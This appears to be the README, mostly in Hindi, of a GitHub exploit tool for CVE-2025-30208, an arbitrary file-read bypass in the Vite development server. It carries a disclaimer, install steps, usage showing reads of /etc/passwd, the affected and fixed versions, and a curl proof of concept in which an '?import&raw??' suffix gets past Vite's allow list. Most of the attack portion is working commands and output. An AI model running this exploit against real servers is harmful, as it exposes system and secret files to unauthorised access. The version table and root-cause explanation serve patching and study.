
यह एक्सप्लॉइट केवल शैक्षिक और नैतिक सुरक्षा परीक्षण उद्देश्यों के लिए है। पूर्व पारस्परिक सहमति के बिना लक्ष्यों के विरुद्ध इस एक्सप्लॉइट का उपयोग अवैध है, और डेवलपर इस एक्सप्लॉइट के दुरुपयोग या उससे होने वाली क्षति के लिए किसी भी देयता को अस्वीकार करता है।
[!IMPORTANT]
अस्वीकरण
यह एक्सप्लॉइट केवल शैक्षिक और नैतिक सुरक्षा परीक्षण उद्देश्यों के लिए है। पूर्व आपसी सहमति के बिना लक्ष्यों के विरुद्ध इस एक्सप्लॉइट का उपयोग अवैध है, और इस एक्सप्लॉइट के दुरुपयोग या क्षति के लिए डेवलपर कोई दायित्व अस्वीकार करता है।
git clone https://github.com/On1onss/CVE-2025-30208.git
cd CVE-2025-30208
pip install -r requirements.txt
python CVE-2025-30208.py [-h] [-t <Target URL>] [-fp <File Path>] [-i]
options:
-h, --help show this help message and exit
-t <Target URL> Example: -t http://localhost:5173/
-fp <File Path> Example: -fp /etc/passwd
-i Interactive mode
>= 6.2.0, < 6.2.3
>= 6.1.0, < 6.1.2
>= 6.0.0, < 6.0.12
>= 5.0.0, < 5.4.15
< 4.5.10
6.2.3
6.1.2
6.0.12
5.4.15
4.5.10
मनमानी फ़ाइलों की सामग्री ब्राउज़र को लौटाई जा सकती है।
केवल वे ऐप्स प्रभावित होते हैं जो स्पष्ट रूप से Vite डेव सर्वर को नेटवर्क पर एक्सपोज़ करते हैं (--host या server.host कॉन्फ़िगरेशन विकल्प का उपयोग करके)।
@fs Vite सर्विंग अनुमति सूची के बाहर की फ़ाइलों तक पहुंच से इनकार करता है। URL में ?raw?? या ?import&raw?? जोड़ने से यह सीमा बायपास हो जाती है और फ़ाइल यदि मौजूद है तो उसकी सामग्री लौटा दी जाती है। यह बायपास इसलिए है क्योंकि ? जैसे ट्रेलिंग सेपरेटर कई स्थानों पर हटा दिए जाते हैं, लेकिन क्वेरी स्ट्रिंग रेगेक्स में उनका हिसाब नहीं रखा जाता।
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
# sourceMappingURL=data:application/json;base64,eyJ2...